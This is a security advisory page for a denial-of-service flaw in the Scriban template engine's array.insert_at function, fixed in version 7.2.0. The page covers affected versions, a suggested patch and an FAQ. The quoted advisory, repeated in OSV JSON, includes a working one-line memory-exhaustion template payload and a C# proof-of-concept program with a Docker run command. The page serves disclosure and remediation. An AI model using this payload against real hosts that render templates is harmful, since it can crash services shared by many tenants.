GHSA-24c8-4792-22hx: Scriban Denial of Service Vulnerability

HIGH
CWE-770
Published
Advisory Summary

GHSA-24c8-4792-22hx is a HIGH denial of service vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting Scriban libraries in the NuGet ecosystem. The issue involves array.insert_at index parameter dos bypasses looplimit and limittostring. Remediation is available by upgrading affected packages to version 7.2.0.

GHSA-24c8-4792-22hx at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-24c8-4792-22hx
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product Scriban
Package Ecosystem NuGet
Published Date
Last Updated

How to Fix GHSA-24c8-4792-22hx

To remediate this vulnerability, upgrade all affected Scriban dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

scriban fixed: 7.2.0
Upgrade scriban to 7.2.0
Scriban.Signed fixed: 7.2.0
Upgrade Scriban.Signed to 7.2.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for scriban

How to Check if You Are Affected

To determine whether your application is affected by GHSA-24c8-4792-22hx, inspect your project dependencies for Scriban:

inspect dependencies for scriban

Analyze the terminal output to locate any version of Scriban in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.2.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In Scriban, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `ArrayFunctions.InsertAt` in Scriban allocates `index - list.Count` null entries in a tight C# `for` loop with no bound on `index`. The function is exposed to template authors as `array.insert_at`, and the fill loop ignores every existing safety control: `LoopLimit`, `LimitToString`, `ObjectRecursionLimit`, and `RecursiveLimit`. A single template such as `{{ [1] | array.insert_at 200000000 'x' | array.size }}` causes `OutOfMemoryException` in well under a second on a host with 1 GB of memory, even when `LoopLimit` is set to `10` and `LimitToString` is set to `100`. Because `OutOfMemoryException` is generally not caught by the template renderer or by typical host applications, the vulnerability terminates the host process, not just the template. This is a sibling vector to GHSA-xw6w-9jjh-p9cr / GHSA-c875-h985-hvrc / GHSA-v66j-x4hw-fv9g, which patched comparable unbounded primitives in `string * int`, `array.size`, `array.join`, `string.pad_left`, and `string.pad_right`. The 7.0.0 hardening pass (`dde661d` "Apply LoopLimit to internal iteration paths" and `4227fde` "Harden string padding width limits") swept the equivalent loops in `ArrayFunctions` and `StringFunctions` but missed `InsertAt`. ## Details Reproducible in 7.1.0 (latest tag) and on `master` at `c8094b0`. `src/Scriban/Functions/ArrayFunctions.cs:369-386`: ```csharp public static IEnumerable InsertAt(IEnumerable? list, int index, object? value) { if (index < 0) { index = 0; } var array = list is null ? new ScriptArray() : new ScriptArray(list); // Make sure that the list has already inserted elements before the index for (int i = array.Count; i < index; i++) { array.Add(null); // <-- unbounded fill, no StepLoop, no Limit* } array.Insert(index, value); return array; } ``` The function is registered as the template builtin `array.insert_at` (`array.fmt-cs` and the standard `ArrayFunctions` ScriptObject reflection registration). It is invoked from a template like `[1] | array.insert_at 999999999 "x"`. Three properties combine to make this exploitable: 1. There is no context-aware overload. Comparable amplification primitives in this same file received a `(TemplateContext, SourceSpan, ...)` overload that calls `StepLoop` per iteration (`AddRange`, `Compact`, `Concat`, `Last`, `Limit`, `Offset`, `Reverse`, `Size`, `Sort`, `Uniq`, `Contains`, `Each`, `Filter`, `Join`, `Map`, `Any` -- see commit `dde661d`). `InsertAt` was not given that treatment. The single `IEnumerable, int, object` signature is what the engine resolves to, so no host configuration changes its behaviour. 2. The loop itself never consults `context.LoopLimit`, `context.LimitToString`, `context.RecursiveLimit`, or `context.ObjectRecursionLimit`. There is no upstream call into `context.StepLoop`, `context.CheckAbort`, or any guard. With `index = 200_000_000`, the C# loop calls `ScriptArray.Add(null)` 200 million times on a `List<object>` whose capacity doubles geometrically; the JIT-compiled tight loop reaches the .NET array allocator faster than the GC can keep up. 3. `OutOfMemoryException` is the actual failure mode. Per Microsoft, `OutOfMemoryException` and friends are not reliably catchable by user code in production CLR runtimes; even when they are caught, large background allocations and triggered GC cycles leave the process in a degraded state. In the PoC below, the renderer wraps the OOM in a `ScriptRuntimeException` because the underlying allocation lands inside the renderer's try block, but on hosts that allocate the array slightly differently (e.g. tighter memory cap, server GC, or higher index value than the host has memory for) the bare `OutOfMemoryException` propagates and crashes the AppDomain. The pattern that matches the existing fixes is to add a context-aware overload that validates `index` against `LoopLimit` (or `LimitToString` for the resulting array footprint) before the fill loop runs, and to mark the unsafe overload `[ScriptMemberIgnore]`: ```csharp [ScriptMemberIgnore] public static IEnumerable InsertAt(IEnumerable list, int index, object value) { /* current body */ } public static IEnumerable InsertAt(TemplateContext context, SourceSpan span, IEnumerable list, int index, object value) { if (index < 0) index = 0; if (context.LoopLimit > 0 && index > context.LoopLimit) { throw new ScriptRuntimeException(span, $"array.insert_at index `{index}` exceeds LoopLimit `{context.LoopLimit}`."); } return InsertAt(list, index, value); } ``` Same pattern as `ArrayFunctions.AddRange`, `Compact`, `Concat`, `Last`, `Limit`, etc., introduced by `dde661d`, and as `StringFunctions.PadLeft`/`PadRight` introduced by `4227fde`. ## PoC Standalone .NET 9 console app referencing `Scriban` 7.1.0 from NuGet. `poc.csproj`: ```xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net9.0</TargetFramework> </PropertyGroup> <ItemGroup> <PackageReference Include="Scriban" Version="7.1.0" /> </ItemGroup> </Project> ``` `Program.cs`: ```csharp using System; using System.Diagnostics; using Scriban; class Program { static void Run(string title, string template, int loopLimit, int limitToString, int timeoutSec) { Console.WriteLine($"\n=== {title} ==="); var ctx = new TemplateContext { LoopLimit = loopLimit, LimitToString = limitToString }; var tpl = Template.Parse(template); var sw = Stopwatch.StartNew(); try { var task = System.Threading.Tasks.Task.Run(() => tpl.Render(ctx)); if (!task.Wait(TimeSpan.FromSeconds(timeoutSec))) { Console.WriteLine($" TIMEOUT after {timeoutSec}s -- DoS confirmed"); return; } Console.WriteLine($" output={task.Result?.Length} chars in {sw.Elapsed.TotalSeconds:F2}s"); } catch (AggregateException ex) { Console.WriteLine($" EXCEPTION ({sw.Elapsed.TotalSeconds:F2}s): {ex.InnerException?.GetType().Name}: " + $"{ex.InnerException?.Message?.Split('\n')[0]}"); } } static void Main() { // Baseline: small index renders normally. Run("baseline", "{{ ([1] | array.insert_at 5 'x' | array.size) }}", loopLimit: 1000, limitToString: 1048576, timeoutSec: 5); // Exploit: 200M index. LoopLimit=10 and LimitToString=100 do NOT protect. Run("DoS via array.insert_at index=200_000_000", "{{ [1] | array.insert_at 200000000 'x' | array.size }}", loopLimit: 10, limitToString: 100, timeoutSec: 30); // Exploit: int.MaxValue. Run("DoS via array.insert_at index=int.MaxValue", "{{ [1] | array.insert_at 2147483647 'x' | array.size }}", loopLimit: 10, limitToString: 100, timeoutSec: 15); } } ``` Build and run inside a memory-capped Docker container so the OOM is actual, not theoretical: ```bash docker run --rm -v "$PWD":/app -w /app -m 1g mcr.microsoft.com/dotnet/sdk:9.0 \ dotnet run -c Release ``` Observed output: ``` === baseline === output=1 chars in 0.01s === DoS via array.insert_at index=200_000_000 === EXCEPTION (0.68s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown. === DoS via array.insert_at index=int.MaxValue === EXCEPTION (0.52s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown. ``` Two observations: - The exploit triggers in roughly 600 ms inside a 1 GB container. Increasing the host memory simply moves the OOM threshold; the malicious template still wedges the process for the duration of the allocation and the resulting GC pressure, which is itself a denial of service even when the OOM is suppressed. - Setting `LoopLimit = 10` and `LimitToString = 100` (effectively the most paranoid tuning a host could pick) makes no difference. The fill loop is in compiled C#, never goes through `StepLoop`, and the result is a `ScriptArray`, not a string, so `LimitToString` is never consulted. ## Impact Denial of service against any host that renders attacker-controlled or attacker-influenced Scriban templates. This includes the canonical Scriban use cases the README itself lists -- email templating, report templating, in-CMS templating, and Statiq-style static site generators where the template content is part of the data ingested. A single one-line template payload is enough to either OOM the process outright (when the host gives the renderer enough memory headroom for the loop to actually finish) or to wedge the process for tens of seconds while the allocator and GC fight (when memory is tight). On ASP.NET hosts using `app.UseScriban`-style middleware or background workers running per-tenant templates, the OOM terminates the entire process, taking down all tenants. Severity is consistent with the four DoS GHSAs already published against Scriban (`GHSA-xw6w-9jjh-p9cr` High 7.5, `GHSA-c875-h985-hvrc` High 7.5, `GHSA-v66j-x4hw-fv9g` High 7.5, `GHSA-m2p3-hwv5-xpqw` High 7.5). The attack vector, complexity, and impact are identical: network reachable, low complexity, no privileges, no user interaction, full availability impact, no confidentiality or integrity impact. CVSS 4.0 vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` (High, 8.7).

GHSA-24c8-4792-22hx Affected Scriban Versions

2 component(s)
Fixed Versions:
7.2.0
Product / Package Ecosystem Affected Versions Fixed Version
scriban
NuGet
< 7.2.0
7.2.0
Scriban.Signed
NuGet
< 7.2.0
7.2.0

References

Frequently Asked Questions

What is GHSA-24c8-4792-22hx?
GHSA-24c8-4792-22hx is a security vulnerability in Scriban involving array.insert_at index parameter DoS bypasses LoopLimit and LimitToString under CWE-770: Allocation of Resources Without Limits or Throttling.
Which Scriban versions are affected?
Affected versions include releases prior to 7.2.0 across affected packages: scriban, Scriban.Signed.
What version fixes GHSA-24c8-4792-22hx?
Upgrading to 7.2.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is scriban affected?
Yes, scriban is affected in releases prior to 7.2.0. Upgrade your dependency to 7.2.0 or later.
Is Scriban.Signed affected?
Yes, Scriban.Signed is affected in releases prior to 7.2.0. Upgrade your dependency to 7.2.0 or later.
What CWE is associated with GHSA-24c8-4792-22hx?
GHSA-24c8-4792-22hx is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check NuGet dependencies for GHSA-24c8-4792-22hx?
Run the dependency tree command: 'inspect dependencies for scriban'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-24c8-4792-22hx",
  "modified" : "2026-06-29T15:43:46Z",
  "published" : "2026-05-19T14:35:25Z",
  "aliases" : [ ],
  "summary" : "Scriban: array.insert_at index parameter DoS bypasses LoopLimit and LimitToString",
  "details" : "## Summary\n\n`ArrayFunctions.InsertAt` in Scriban allocates `index - list.Count` null entries in a tight C# `for` loop with no bound on `index`. The function is exposed to template authors as `array.insert_at`, and the fill loop ignores every existing safety control: `LoopLimit`, `LimitToString`, `ObjectRecursionLimit`, and `RecursiveLimit`. A single template such as `{{ [1] | array.insert_at 200000000 'x' | array.size }}` causes `OutOfMemoryException` in well under a second on a host with 1 GB of memory, even when `LoopLimit` is set to `10` and `LimitToString` is set to `100`. Because `OutOfMemoryException` is generally not caught by the template renderer or by typical host applications, the vulnerability terminates the host process, not just the template.\n\nThis is a sibling vector to GHSA-xw6w-9jjh-p9cr / GHSA-c875-h985-hvrc / GHSA-v66j-x4hw-fv9g, which patched comparable unbounded primitives in `string * int`, `array.size`, `array.join`, `string.pad_left`, and `string.pad_right`. The 7.0.0 hardening pass (`dde661d` \"Apply LoopLimit to internal iteration paths\" and `4227fde` \"Harden string padding width limits\") swept the equivalent loops in `ArrayFunctions` and `StringFunctions` but missed `InsertAt`.\n\n## Details\n\nReproducible in 7.1.0 (latest tag) and on `master` at `c8094b0`.\n\n`src/Scriban/Functions/ArrayFunctions.cs:369-386`:\n\n```csharp\npublic static IEnumerable InsertAt(IEnumerable? list, int index, object? value)\n{\n    if (index < 0)\n    {\n        index = 0;\n    }\n\n    var array = list is null ? new ScriptArray() : new ScriptArray(list);\n    // Make sure that the list has already inserted elements before the index\n    for (int i = array.Count; i < index; i++)\n    {\n        array.Add(null);            // <-- unbounded fill, no StepLoop, no Limit*\n    }\n\n    array.Insert(index, value);\n\n    return array;\n}\n```\n\nThe function is registered as the template builtin `array.insert_at` (`array.fmt-cs` and the standard `ArrayFunctions` ScriptObject reflection registration). It is invoked from a template like `[1] | array.insert_at 999999999 \"x\"`.\n\nThree properties combine to make this exploitable:\n\n1. There is no context-aware overload. Comparable amplification primitives in this same file received a `(TemplateContext, SourceSpan, ...)` overload that calls `StepLoop` per iteration (`AddRange`, `Compact`, `Concat`, `Last`, `Limit`, `Offset`, `Reverse`, `Size`, `Sort`, `Uniq`, `Contains`, `Each`, `Filter`, `Join`, `Map`, `Any` -- see commit `dde661d`). `InsertAt` was not given that treatment. The single `IEnumerable, int, object` signature is what the engine resolves to, so no host configuration changes its behaviour.\n\n2. The loop itself never consults `context.LoopLimit`, `context.LimitToString`, `context.RecursiveLimit`, or `context.ObjectRecursionLimit`. There is no upstream call into `context.StepLoop`, `context.CheckAbort`, or any guard. With `index = 200_000_000`, the C# loop calls `ScriptArray.Add(null)` 200 million times on a `List<object>` whose capacity doubles geometrically; the JIT-compiled tight loop reaches the .NET array allocator faster than the GC can keep up.\n\n3. `OutOfMemoryException` is the actual failure mode. Per Microsoft, `OutOfMemoryException` and friends are not reliably catchable by user code in production CLR runtimes; even when they are caught, large background allocations and triggered GC cycles leave the process in a degraded state. In the PoC below, the renderer wraps the OOM in a `ScriptRuntimeException` because the underlying allocation lands inside the renderer's try block, but on hosts that allocate the array slightly differently (e.g. tighter memory cap, server GC, or higher index value than the host has memory for) the bare `OutOfMemoryException` propagates and crashes the AppDomain.\n\nThe pattern that matches the existing fixes is to add a context-aware overload that validates `index` against `LoopLimit` (or `LimitToString` for the resulting array footprint) before the fill loop runs, and to mark the unsafe overload `[ScriptMemberIgnore]`:\n\n```csharp\n[ScriptMemberIgnore]\npublic static IEnumerable InsertAt(IEnumerable list, int index, object value) { /* current body */ }\n\npublic static IEnumerable InsertAt(TemplateContext context, SourceSpan span, IEnumerable list, int index, object value)\n{\n    if (index < 0) index = 0;\n    if (context.LoopLimit > 0 && index > context.LoopLimit)\n    {\n        throw new ScriptRuntimeException(span,\n            $\"array.insert_at index `{index}` exceeds LoopLimit `{context.LoopLimit}`.\");\n    }\n    return InsertAt(list, index, value);\n}\n```\n\nSame pattern as `ArrayFunctions.AddRange`, `Compact`, `Concat`, `Last`, `Limit`, etc., introduced by `dde661d`, and as `StringFunctions.PadLeft`/`PadRight` introduced by `4227fde`.\n\n## PoC\n\nStandalone .NET 9 console app referencing `Scriban` 7.1.0 from NuGet.\n\n`poc.csproj`:\n\n```xml\n<Project Sdk=\"Microsoft.NET.Sdk\">\n  <PropertyGroup>\n    <OutputType>Exe</OutputType>\n    <TargetFramework>net9.0</TargetFramework>\n  </PropertyGroup>\n  <ItemGroup>\n    <PackageReference Include=\"Scriban\" Version=\"7.1.0\" />\n  </ItemGroup>\n</Project>\n```\n\n`Program.cs`:\n\n```csharp\nusing System;\nusing System.Diagnostics;\nusing Scriban;\n\nclass Program\n{\n    static void Run(string title, string template, int loopLimit, int limitToString, int timeoutSec)\n    {\n        Console.WriteLine($\"\\n=== {title} ===\");\n        var ctx = new TemplateContext { LoopLimit = loopLimit, LimitToString = limitToString };\n        var tpl = Template.Parse(template);\n        var sw = Stopwatch.StartNew();\n        try\n        {\n            var task = System.Threading.Tasks.Task.Run(() => tpl.Render(ctx));\n            if (!task.Wait(TimeSpan.FromSeconds(timeoutSec)))\n            {\n                Console.WriteLine($\"  TIMEOUT after {timeoutSec}s -- DoS confirmed\");\n                return;\n            }\n            Console.WriteLine($\"  output={task.Result?.Length} chars in {sw.Elapsed.TotalSeconds:F2}s\");\n        }\n        catch (AggregateException ex)\n        {\n            Console.WriteLine($\"  EXCEPTION ({sw.Elapsed.TotalSeconds:F2}s): {ex.InnerException?.GetType().Name}: \" +\n                              $\"{ex.InnerException?.Message?.Split('\\n')[0]}\");\n        }\n    }\n\n    static void Main()\n    {\n        // Baseline: small index renders normally.\n        Run(\"baseline\",\n            \"{{ ([1] | array.insert_at 5 'x' | array.size) }}\",\n            loopLimit: 1000, limitToString: 1048576, timeoutSec: 5);\n\n        // Exploit: 200M index. LoopLimit=10 and LimitToString=100 do NOT protect.\n        Run(\"DoS via array.insert_at index=200_000_000\",\n            \"{{ [1] | array.insert_at 200000000 'x' | array.size }}\",\n            loopLimit: 10, limitToString: 100, timeoutSec: 30);\n\n        // Exploit: int.MaxValue.\n        Run(\"DoS via array.insert_at index=int.MaxValue\",\n            \"{{ [1] | array.insert_at 2147483647 'x' | array.size }}\",\n            loopLimit: 10, limitToString: 100, timeoutSec: 15);\n    }\n}\n```\n\nBuild and run inside a memory-capped Docker container so the OOM is actual, not theoretical:\n\n```bash\ndocker run --rm -v \"$PWD\":/app -w /app -m 1g mcr.microsoft.com/dotnet/sdk:9.0 \\\n    dotnet run -c Release\n```\n\nObserved output:\n\n```\n=== baseline ===\n  output=1 chars in 0.01s\n\n=== DoS via array.insert_at index=200_000_000 ===\n  EXCEPTION (0.68s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown.\n\n=== DoS via array.insert_at index=int.MaxValue ===\n  EXCEPTION (0.52s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown.\n```\n\nTwo observations:\n\n- The exploit triggers in roughly 600 ms inside a 1 GB container. Increasing the host memory simply moves the OOM threshold; the malicious template still wedges the process for the duration of the allocation and the resulting GC pressure, which is itself a denial of service even when the OOM is suppressed.\n- Setting `LoopLimit = 10` and `LimitToString = 100` (effectively the most paranoid tuning a host could pick) makes no difference. The fill loop is in compiled C#, never goes through `StepLoop`, and the result is a `ScriptArray`, not a string, so `LimitToString` is never consulted.\n\n## Impact\n\nDenial of service against any host that renders attacker-controlled or attacker-influenced Scriban templates. This includes the canonical Scriban use cases the README itself lists -- email templating, report templating, in-CMS templating, and Statiq-style static site generators where the template content is part of the data ingested. A single one-line template payload is enough to either OOM the process outright (when the host gives the renderer enough memory headroom for the loop to actually finish) or to wedge the process for tens of seconds while the allocator and GC fight (when memory is tight). On ASP.NET hosts using `app.UseScriban`-style middleware or background workers running per-tenant templates, the OOM terminates the entire process, taking down all tenants.\n\nSeverity is consistent with the four DoS GHSAs already published against Scriban (`GHSA-xw6w-9jjh-p9cr` High 7.5, `GHSA-c875-h985-hvrc` High 7.5, `GHSA-v66j-x4hw-fv9g` High 7.5, `GHSA-m2p3-hwv5-xpqw` High 7.5). The attack vector, complexity, and impact are identical: network reachable, low complexity, no privileges, no user interaction, full availability impact, no confidentiality or integrity impact. CVSS 4.0 vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` (High, 8.7).",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "NuGet",
      "name" : "scriban"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.2.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 7.1.0"
    }
  }, {
    "package" : {
      "ecosystem" : "NuGet",
      "name" : "Scriban.Signed"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.2.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 7.1.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/scriban/scriban/security/advisories/GHSA-24c8-4792-22hx"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/scriban/scriban"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-19T14:35:25Z",
    "nvd_published_at" : null
  }
}